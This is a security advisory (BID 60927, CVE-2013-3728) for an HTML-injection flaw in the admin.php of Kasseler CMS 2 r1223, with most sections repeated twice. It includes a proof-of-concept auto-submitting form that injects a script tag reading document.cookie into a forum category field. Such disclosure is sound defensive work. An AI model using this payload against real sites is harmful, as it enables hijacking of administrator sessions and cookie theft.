Kasseler CMS 'admin.php' HTML Injection Vulnerability
BID:60927
Info
Kasseler CMS 'admin.php' HTML Injection Vulnerability
| Bugtraq ID: | 60927 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-3728 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 03 2013 12:00AM |
| Updated: | Jul 03 2013 12:00AM |
| Credit: | High-Tech Bridge Security Research Lab |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Kasseler CMS 'admin.php' HTML Injection Vulnerability
Kasseler CMS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
Kasseler CMS 2 r1223 is vulnerable; other versions may also be affected.
Kasseler CMS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
Kasseler CMS 2 r1223 is vulnerable; other versions may also be affected.
Exploit / POC
Kasseler CMS 'admin.php' HTML Injection Vulnerability
Attackers can exploit this issue with a web browser.
The following example data is available:
<form action="http://www.example.com/admin.php?module=forum&do=admin_new_category " method="post" name="main">
<input type="hidden" name="cat" value="<script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
Attackers can exploit this issue with a web browser.
The following example data is available:
<form action="http://www.example.com/admin.php?module=forum&do=admin_new_category " method="post" name="main">
<input type="hidden" name="cat" value="<script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
Solution / Fix
Kasseler CMS 'admin.php' HTML Injection Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
Kasseler CMS 'admin.php' HTML Injection Vulnerability
References:
References:
- Kasseler CMS Home Page (Kasseler CMS)